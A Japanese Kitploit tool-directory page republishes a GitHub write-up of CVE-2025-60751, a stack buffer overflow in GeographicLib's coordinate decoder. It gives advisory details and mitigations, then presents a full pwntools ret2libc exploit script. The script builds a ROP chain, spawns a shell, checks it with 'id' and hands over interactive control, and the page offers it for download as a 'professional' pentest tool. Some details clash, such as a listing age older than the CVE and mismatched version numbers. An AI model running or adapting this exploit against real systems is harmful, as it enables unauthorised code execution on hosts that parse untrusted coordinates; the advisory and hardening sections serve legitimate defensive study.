Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-60751 — 技術的分析とプロフェッショナルなエクスプロイト for CVE-2025-60751、GeographicLibにおけるスタックベースのバッファオーバーフロー。pwntoolsベースのRet2Libcエクスプロイトを含み、動的ROPガジェット探索、GDB統合、および教育的ペネトレーションテストのためのエクスプロイト後の検証を備えています。 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2025-60751
脆弱性分析エクスプロイトリバースエンジニアリングシェルコードデバッガペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

技術的分析とプロフェッショナルなエクスプロイト for CVE-2025-60751、GeographicLibにおけるスタックベースのバッファオーバーフロー。pwntoolsベースのRet2Libcエクスプロイトを含み、動的ROPガジェット探索、GDB統合、および教育的ペネトレーションテストのためのエクスプロイト後の検証を備えています。

34ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-60751: GeographicLib スタックベースのバッファオーバーフロー

📌 このリポジトリには、CVE-2025-60751 の脆弱性の分析と技術文書が含まれています。これは、C++ ライブラリ GeographicLib における スタックベースのバッファオーバーフロー (Stack-based Buffer Overflow) の欠陥です。


📝 説明

この脆弱性は、GeoConvert コンポーネント内の DMS::InternalDecode 関数に存在します。
この欠陥は、ライブラリが 不正な形式または過度に長い DMS(度、分、秒)形式の座標文字列を処理しようとした際に発生し、スタック上に割り当てられたバッファの範囲外への書き込み を引き起こします。

  • 識別子: CVE-2025-60751
  • コンポーネント: GeoConvert / DMS::InternalDecode
  • タイプ: Stack-based Buffer Overflow (CWE-121)
  • 深刻度 (CVSS 3.1): 7.5 HIGH
  • ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 影響

    リモートの攻撃者は、特別に細工された座標文字列を送信することで、次のことを引き起こす可能性があります:

    • サービス拒否 (DoS): GeographicLib を使用して座標変換を行うアプリケーションの予期しない終了(クラッシュ)を引き起こす。
    • システムの不安定性: スタック上の隣接メモリを破壊し、プログラムの実行フローに影響を与える。

    ⚠️ 技術的注記: 現在のベクターは 可用性 (A:H) に焦点を当てていますが、スタックカナリー、NX ビット、ASLR などの最新のメモリ保護が無効な特定の環境では、この欠陥が潜在的に 任意のコード実行 にエスカレートする可能性があります。


    💻 影響を受けるシステム

    製品脆弱なバージョン検出されたディストリビューション
    GeographicLib2.5Debian LTS、Ubuntu、およびこのバージョンを統合したその他の Linux リポジトリのパッケージ

    🛠️ 緩和策と解決策

    ✅ アップデート: InternalDecode の長さ検証が修正された最新バージョンの GeographicLib にアップデートすることを強く推奨します。

    ✅ 入力検証: アップデートが不可能な場合は、DMS::Decode に送信される文字列の長さを制限するサニタイズレイヤーを実装してください(例:最大 32 文字)。

    ✅ 安全なコンパイル: スタック保護フラグを有効にしてライブラリをコンパイルしてください:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 参考情報

    • Issue #43 – GeographicLib GitHub
    • zer0matt による技術分析
    • Debian LTS Advisory

    💀 プロフェッショナルエクスプロイト(上級レベル — OSCP / Exploit-DB スタイル)

    このエクスプロイトは pwntools を使用し、バッファオーバーフローを利用した Ret2Libc 攻撃を実行します。
    基本的なバージョンとは異なり、この実装は 堅牢で動的かつ検証可能 であり、実際のペンテスト環境やラボ環境に対応しています。

    ✅ 何が "プロ" なのか?

    機能利点
    動的 ROP(elf)ハードコードされたガジェットに依存せず、バイナリから自動的に検出。
    GDB の統合サポートpython exploit.py GDB を実行 → 自動的にデバッグセッションを開始。
    エクスプロイト後の確認id を送信し、対話型制御を渡す前にシェルを確認。
    スタックアライメント用 RETアライメントの誤りによる system() のクラッシュを防止(x64 で重要)。
    list + b"".join() による構造化ペイロードクリーンで読みやすく、変更や拡張が容易。

    🐍 エクスプロイトコード (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # 作成者: 堅牢性のためにリファクタリング
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. プロセス管理 (ローカル vs リモート)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN は適切に管理しないとオフセットに干渉する可能性がある
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. 動的ガジェット検出
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. ASLR バイパスのためのメモリリーク
        # 実際の環境では: leak + libc-database または libc.rip を使用。
        # ここでは制御されたラボ環境(ASLR=off)のみのために固定ベースを使用。
        LIBC_BASE = 0x7ffff7a00000  # 例 — 本番環境では動的にすべき!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. ペイロードの構築 (クリーンかつアラインされた構造)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # スタックアライメント (最新の Ubuntu/Debian で重要)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. 実行と検証
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ 免責事項
    このリポジトリは、サイバーセキュリティ専門家向けの 純粋に情報提供と教育目的 です。
    この情報を不正な目的で使用する場合は、利用者の単独責任 となります。
    ❗ コードは注意して使用してください:許可された隔離環境で、明示的な許可を得た場合のみ。


    🔐 セキュリティは機能ではなく、規律です。
    📬 脆弱性の報告: [email protected]
    📦 公式リポジトリ: https://github.com/geographiclib/geographiclib

    ツールをダウンロード